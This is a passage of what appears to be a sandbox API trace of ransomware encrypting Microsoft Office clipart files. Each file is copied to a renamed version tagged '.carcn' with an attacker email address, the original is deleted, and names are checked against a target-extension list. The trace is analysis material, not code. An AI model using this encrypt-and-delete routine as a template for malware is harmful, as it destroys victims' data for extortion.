(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0268.841] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.841] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0268.842] GetLastError () returned 0x0 [0268.842] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x414, lpOverlapped=0x0) returned 1 [0268.904] WriteFile (in: hFile=0x558, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x420, lpOverlapped=0x0) returned 1 [0268.905] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.905] WriteFile (in: hFile=0x558, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.905] SetEndOfFile (hFile=0x558) returned 1 [0268.906] CloseHandle (hObject=0x558) returned 1 [0268.908] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.908] SetEndOfFile (hFile=0x370) returned 1 [0269.157] CloseHandle (hObject=0x370) returned 1 [0269.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0269.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.161] lstrlenW (lpString=".doc") returned 4 [0269.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.161] lstrlenW (lpString=".docx") returned 5 [0269.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.161] lstrlenW (lpString=".pdf") returned 4 [0269.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.161] lstrlenW (lpString=".xls") returned 4 [0269.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.162] lstrlenW (lpString=".xlsx") returned 5 [0269.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.162] lstrlenW (lpString=".ppt") returned 4 [0269.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.162] lstrlenW (lpString=".zip") returned 4 [0269.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.162] lstrlenW (lpString=".rar") returned 4 [0269.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.162] lstrlenW (lpString=".bz2") returned 4 [0269.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.162] lstrlenW (lpString=".7z") returned 3 [0269.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.162] lstrlenW (lpString=".dbf") returned 4 [0269.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.162] lstrlenW (lpString=".1cd") returned 4 [0269.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.162] lstrlenW (lpString=".jpg") returned 4 [0269.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.162] lstrlenW (lpString=".doc") returned 4 [0269.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString=".docx") returned 5 [0269.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.163] lstrlenW (lpString=".pdf") returned 4 [0269.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString=".xls") returned 4 [0269.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.163] lstrlenW (lpString=".xlsx") returned 5 [0269.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.163] lstrlenW (lpString=".ppt") returned 4 [0269.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.163] lstrlenW (lpString=".zip") returned 4 [0269.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.163] lstrlenW (lpString=".rar") returned 4 [0269.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString=".bz2") returned 4 [0269.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString=".7z") returned 3 [0269.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.163] lstrlenW (lpString=".dbf") returned 4 [0269.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.163] lstrlenW (lpString=".1cd") returned 4 [0269.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0269.163] lstrlenW (lpString=".jpg") returned 4 [0269.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.164] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.164] lstrlenW (lpString="BS00186_.WMF") returned 12 [0269.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.784] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=12788) returned 1 [0269.784] CloseHandle (hObject=0x540) returned 1 [0269.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0269.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.785] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.785] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0269.800] GetLastError () returned 0x0 [0269.800] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0269.813] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3200, lpOverlapped=0x0) returned 1 [0269.814] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.815] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.815] SetEndOfFile (hFile=0x524) returned 1 [0269.818] CloseHandle (hObject=0x524) returned 1 [0269.820] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.820] SetEndOfFile (hFile=0x540) returned 1 [0269.823] CloseHandle (hObject=0x540) returned 1 [0269.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0269.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.830] lstrlenW (lpString=".doc") returned 4 [0269.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.830] lstrlenW (lpString=".docx") returned 5 [0269.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.830] lstrlenW (lpString=".pdf") returned 4 [0269.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.831] lstrlenW (lpString=".xls") returned 4 [0269.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.831] lstrlenW (lpString=".xlsx") returned 5 [0269.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.831] lstrlenW (lpString=".ppt") returned 4 [0269.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.831] lstrlenW (lpString=".zip") returned 4 [0269.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.831] lstrlenW (lpString=".rar") returned 4 [0269.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.831] lstrlenW (lpString=".bz2") returned 4 [0269.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.831] lstrlenW (lpString=".7z") returned 3 [0269.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.832] lstrlenW (lpString=".dbf") returned 4 [0269.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.832] lstrlenW (lpString=".1cd") returned 4 [0269.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.832] lstrlenW (lpString=".jpg") returned 4 [0269.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.832] lstrlenW (lpString=".doc") returned 4 [0269.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.832] lstrlenW (lpString=".docx") returned 5 [0269.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.832] lstrlenW (lpString=".pdf") returned 4 [0269.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.832] lstrlenW (lpString=".xls") returned 4 [0269.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.833] lstrlenW (lpString=".xlsx") returned 5 [0269.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.833] lstrlenW (lpString=".ppt") returned 4 [0269.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.833] lstrlenW (lpString=".zip") returned 4 [0269.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.833] lstrlenW (lpString=".rar") returned 4 [0269.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.833] lstrlenW (lpString=".bz2") returned 4 [0269.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.833] lstrlenW (lpString=".7z") returned 3 [0269.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.833] lstrlenW (lpString=".dbf") returned 4 [0269.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.834] lstrlenW (lpString=".1cd") returned 4 [0269.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0269.834] lstrlenW (lpString=".jpg") returned 4 [0269.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.834] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.834] lstrlenW (lpString="BS00439_.WMF") returned 12 [0269.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.835] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2052) returned 1 [0269.835] CloseHandle (hObject=0x540) returned 1 [0269.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0269.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.836] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.836] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0269.837] GetLastError () returned 0x0 [0269.837] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x804, lpOverlapped=0x0) returned 1 [0269.895] WriteFile (in: hFile=0x374, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x810, lpOverlapped=0x0) returned 1 [0269.896] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.896] WriteFile (in: hFile=0x374, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.896] SetEndOfFile (hFile=0x374) returned 1 [0269.897] CloseHandle (hObject=0x374) returned 1 [0269.897] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.897] SetEndOfFile (hFile=0x540) returned 1 [0269.899] CloseHandle (hObject=0x540) returned 1 [0269.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0269.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.901] lstrlenW (lpString=".doc") returned 4 [0269.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.901] lstrlenW (lpString=".docx") returned 5 [0269.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.901] lstrlenW (lpString=".pdf") returned 4 [0269.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.901] lstrlenW (lpString=".xls") returned 4 [0269.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.901] lstrlenW (lpString=".xlsx") returned 5 [0269.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.901] lstrlenW (lpString=".ppt") returned 4 [0269.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.902] lstrlenW (lpString=".zip") returned 4 [0269.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.902] lstrlenW (lpString=".rar") returned 4 [0269.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.902] lstrlenW (lpString=".bz2") returned 4 [0269.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.902] lstrlenW (lpString=".7z") returned 3 [0269.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.902] lstrlenW (lpString=".dbf") returned 4 [0269.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.902] lstrlenW (lpString=".1cd") returned 4 [0269.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.903] lstrlenW (lpString=".jpg") returned 4 [0269.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.903] lstrlenW (lpString=".doc") returned 4 [0269.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.903] lstrlenW (lpString=".docx") returned 5 [0269.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.904] lstrlenW (lpString=".pdf") returned 4 [0269.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.904] lstrlenW (lpString=".xls") returned 4 [0269.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.904] lstrlenW (lpString=".xlsx") returned 5 [0269.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.904] lstrlenW (lpString=".ppt") returned 4 [0269.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.904] lstrlenW (lpString=".zip") returned 4 [0269.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.904] lstrlenW (lpString=".rar") returned 4 [0269.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.904] lstrlenW (lpString=".bz2") returned 4 [0269.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.904] lstrlenW (lpString=".7z") returned 3 [0269.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.905] lstrlenW (lpString=".dbf") returned 4 [0269.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.905] lstrlenW (lpString=".1cd") returned 4 [0269.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0269.905] lstrlenW (lpString=".jpg") returned 4 [0269.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.905] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.905] lstrlenW (lpString="BS00440_.WMF") returned 12 [0269.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.906] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=5580) returned 1 [0269.906] CloseHandle (hObject=0x540) returned 1 [0269.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0269.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.907] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.907] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, 